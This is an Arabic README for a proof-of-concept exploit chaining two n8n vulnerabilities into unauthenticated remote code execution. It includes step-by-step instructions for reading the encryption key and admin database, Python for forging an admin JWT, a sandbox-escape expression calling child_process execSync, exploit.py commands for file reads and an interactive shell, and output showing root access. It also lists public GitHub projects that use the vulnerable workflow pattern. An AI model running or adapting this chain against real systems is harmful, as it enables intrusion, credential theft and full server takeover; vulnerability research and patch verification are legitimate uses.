
سلسلة استغلال آلية لـ n8n تجمع بين قراءة ملفات عشوائية، وتزوير رمز المدير، وتجاوز بيئة الحماية لتحقيق تنفيذ رمز عن بُعد دون مصادقة.
| CVE | CVE-2026-21858 (قراءة ملفات) + CVE-2025-68613 (تنفيذ أوامر) |
| CVSS | 10.0 + 9.9 (حرجة) |
| الإصدارات المتأثرة | <= 1.65.0 (قراءة ملفات) / >= 0.211.0 (تنفيذ أوامر) |
| الإصدار المُصلَّح | 1.121.0 (قراءة ملفات) / 1.120.4+ (تنفيذ أوامر) |
| تاريخ الإفصاح | 2026-01-07 11:09 UTC |
| الاسم الرمزي | Ni8mare |
| الفضل يعود إلى | Dor Attias (Cyera) |
| الاستغلال | Chocapikk |
| المنهجية | مؤتمت بالذكاء الاصطناعي: مقارنة التصحيحات ← إعادة الإنتاج ← بيئة اختبار ← استغلال (~9 ساعات بعد الإفصاح) |
| النوع | إثبات مفهوم - ليس استغلالًا شاملًا (يتطلب إعداد سير عمل محدد، انظر القيود) |
سلسلة كاملة لتنفيذ أوامر عن بُعد بدون مصادقة على n8n:
الخطورة مبنية على الإصدار. من حيث التعرض، توجد نسخ n8n ضعيفة متاحة للجمهور.
نتائج LeakIX: عرض النسخ المكشوفة
تم تطوير هذا الاستغلال بشكل مستقل عن تقرير Cyera (اكتُشف بعد اكتماله). الاختلافات الرئيسية:
| Cyera (البحث الأصلي) | هذا الاستغلال | |
|---|---|---|
| قراءة الملفات | تحميل إلى قاعدة معرفة الذكاء الاصطناعي ← الاستعلام عبر الدردشة | استجابة HTTP مباشرة |
| المتطلبات المسبقة | سير عمل دردشة + تكامل ذكاء اصطناعي | أي نموذج مع رفع ملفات |
| طريقة تنفيذ الأوامر | عقدة "Execute Command" (معطلة افتراضيًا) | حقن تعبيرات (يعمل على التثبيتات الافتراضية) |
| الأتمتة | عرض يدوي/مفاهيمي | سكربت Python مؤتمت بالكامل |
يتطلب كلا الأسلوبين إعدادات سير عمل محددة. يحتاج Cyera إلى دردشة + تكامل ذكاء اصطناعي، بينما يحتاج هذا الاستغلال إلى نموذج مع عقدة Respond. انظر القيود للتفاصيل.
┌───────────────────────────────────────────────────────────┐
│ بدون مصادقة │
├───────────────────────────────────────────────────────────┤
│ 1. قراءة /proc/self/environ ← العثور على دليل HOME │
│ 2. قراءة $HOME/.n8n/config ← الحصول على encryptionKey │
│ 3. قراءة $HOME/.n8n/database.sqlite ← الحصول على بيانات المدير │
├───────────────────────────────────────────────────────────┤
│ تزوير الرمز │
├───────────────────────────────────────────────────────────┤
│ 4. اشتقاق سر JWT من encryptionKey │
│ 5. تزوير كوكي جلسة المدير │
├───────────────────────────────────────────────────────────┤
│ تنفيذ أوامر بمصادقة │
├───────────────────────────────────────────────────────────┤
│ 6. إنشاء سير عمل مع حقن تعبيرات │
│ 7. تجاوز الحماية عبر this.process.mainModule.require │
│ 8. تنفيذ أوامر عشوائية │
└───────────────────────────────────────────────────────────┘
commit c8d604d2c466dd84ec24f4f092183d86e43f2518
Author: mfsiega
Date: Thu Nov 13 11:51:40 2025 +0100
Merge commit from fork
الأسطوري "Merge commit from fork" - عندما ترى هذا، فقد وجد شخص ما شيئًا مثيرًا. 🌶️
// قبل (ضعيف)
const files = (context.getBodyData().files as IDataObject) ?? {};
await context.nodeHelpers.copyBinaryFile(file.filepath, ...)
// بعد (مُصلَّح)
a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');
أرسل Content-Type: application/json ← تحكم في filepath ← اقرأ أي ملف.
n8n يعزل كود المستخدم (عقدة الكود، التعبيرات) باستخدام vm2/isolated-vm. نواقل أخرى لتنفيذ الأوامر:
| التقنية | الحالة |
|---|---|
| عقدة Execute Command | معطلة افتراضيًا (N8N_ALLOW_EXEC_COMMAND=false) |
| عقد SSH/HTTP | تنفذ على خوادم بعيدة، وليس على مضيف n8n |
| تجاوز حماية Pyodide | CVE-2025-68668 - يتطلب عقدة كود Python |
| حقن التعبيرات | CVE-2025-68613 - يعمل على التثبيتات الافتراضية |
استخدمت حقن التعبيرات لأنه يعمل على أي n8n بالإعدادات الافتراضية - بدون عقد أو إعدادات خاصة. تجاوز Pyodide (CVE-2025-68668) يتطلب عقدة كود Python التي قد لا تكون متاحة على جميع النسخ.
={{ (function() {
var require = this.process.mainModule.require;
var execSync = require("child_process").execSync;
return execSync("id").toString();
})() }}
تعبيرات n8n لديها وصول إلى this.process.mainModule.require ← تجاوز كامل للحماية.
# اشتقاق سر JWT
jwt_secret = sha256(encryption_key[::2]).hexdigest()
# تجزئة JWT
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
# تزوير الرمز
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
docker compose up -d
# انتظر ~60 ثانية للإعداد
# النموذج: http://localhost:5678/form/vulnerable-form
# بيانات الدخول: [email protected] / password
# قراءة ملف عشوائي
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd
# سلسلة كاملة مع أمر
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"
# قشرة تفاعلية
uv run python exploit.py http://localhost:5678 /form/vulnerable-form
╔═══════════════════════════════════════════════════════════════╗
║ CVE-2026-21858 + CVE-2025-68613 - سلسلة كاملة على n8n ║
║ قراءة ملفات ← تزوير رمز ← تجاوز حماية ← تنفيذ أوامر ║
╚═══════════════════════════════════════════════════════════════╝
[*] الهدف: http://localhost:5678/form/vulnerable-form
[*] الإصدار: 1.65.0 (ضعيف)
[x] دليل HOME
[+] دليل HOME: /root
[x] مفتاح التشفير
[+] مفتاح التشفير: yusrXZV1...
[x] قاعدة البيانات
[+] قاعدة البيانات: 1327104 بايت
[x] مستخدم المدير
[+] مستخدم المدير: [email protected]
[x] تزوير الرمز
[+] تزوير الرمز: نجح
[x] وصول المدير
[+] وصول المدير: ممنوح!
[+] الكوكي: n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjljMWI5MzU0LTI5NzQtNGZlOS05OTc2LWVmZDM3ZWEyNWFlMiIsImhhc2giOiJGYzVQZjVkUDRxIn0.TrIjHV3_6pw6Syi4qme5larZeQElBJmo4Y_eSgL9_M0
[x] تنفيذ الأوامر
[+] تنفيذ الأوامر: نجح
uid=0(root) gid=0(root) groups=0(root)
هذا ليس استغلالًا "لاختراق أي n8n". يتطلب شروطًا محددة ليعمل:
| المتطلب | الوصف |
|---|---|
| نموذج مع رفع ملفات | يجب أن يكون لدى الهدف سير عمل نموذج مع حقل رفع ملفات |
| عقدة Respond to Webhook | يجب أن يعيد سير العمل محتوى الملف في استجابة HTTP |
| سير عمل نشط | يجب تفعيل سير عمل النموذج |
| وصول بدون مصادقة | يجب أن يكون النموذج متاحًا للجمهور (بدون مصادقة) |
مثال على إعداد سير عمل ضعيف:
{
"nodes": [
{
"name": "Form Trigger",
"type": "n8n-nodes-base.formTrigger",
"parameters": {
"responseMode": "responseNode",
"formFields": {
"values": [{ "fieldLabel": "document", "fieldType": "file" }]
}
}
},
{
"name": "Respond",
"type": "n8n-nodes-base.respondToWebhook",
"parameters": {
"respondWith": "binary",
"inputDataFieldName": "document"
}
}
],
"connections": {
"Form Trigger": { "main": [[{ "node": "Respond" }]] }
}
}
العناصر الأساسية هي: fieldType: "file" + respondWith: "binary". هذا النمط شائع في سير عمل معالجة الملفات (المحولات، معالجات الصور، معالجات المستندات).
يعمل مع:
لا يعمل مع:
ملاحظة: الثغرة (قراءة ملفات عشوائية) تُستغل بغض النظر عن طريقة استخراج البيانات. عقدة Respond هي مجرد طريقة واحدة لاسترجاع المحتوى. طرق بديلة (OOB، عقد إخراج أخرى) قد تعمل حسب إعداد سير العمل.
الاستغلال الأعمى: إذا لم توجد عقدة Respond، فسيظل الملف يُقرأ بواسطة n8n لكن لا يمكن استخراجه عبر استجابة HTTP. ستكون هناك حاجة لتقنيات بديلة (OOB، التوقيت).
النمط الضعيف (Form Trigger + رفع ملفات + Respond to Webhook) موجود في مستودعات GitHub عامة.
ملاحظة: مستودعات سير عمل n8n الشهيرة (>100⭐) لا تستخدم هذا النمط. هذه مشاريع مجتمعية/شخصية:
| ملف سير العمل | حقول الملفات | respondWith |
|---|---|---|
| ifcpipeline/.../ifcpipeline.json | IDS, IFC (x2) | binary ⚠️ |
| nano-banana-studio/.../03_multi_asset_processor.json | صور، صوت، Markdown | json |
| ticket-omnichannel-chat/.../Knowledge_base.json | مستند (PDF) | text |
| ai_resume_project/resume_rag.json | رفع ملفات | allIncomingItems |
| fkgpt-portfolio/.../audio-transcription-analysis.json | ملف صوتي | text |
| n8n-backup/.../K3DwHQs0fnnm5UK0.json | ملف | text |
| voltixLandingPage/.../chatbotvoltix.json | رفع ملف | افتراضي |
| n8n-backup-zm/.../Ky1AiuIMbY1zoTLE.json | ملف | افتراضي |
| 8n8Workflows/.../3WoSqiBnZ56RtWMb.json | ارفع مستندك | افتراضي |
| learn_earn_ai_insta/.../My workflow.json | ارفع ملفك | افتراضي |
| finintworkshop/.../API using n8n (ToT).json |
هذه سير عمل مساهم بها من المجتمع. لا توجد قوالب رسمية من n8n.io تستخدم هذا النمط الضعيف.
| ملف |
json |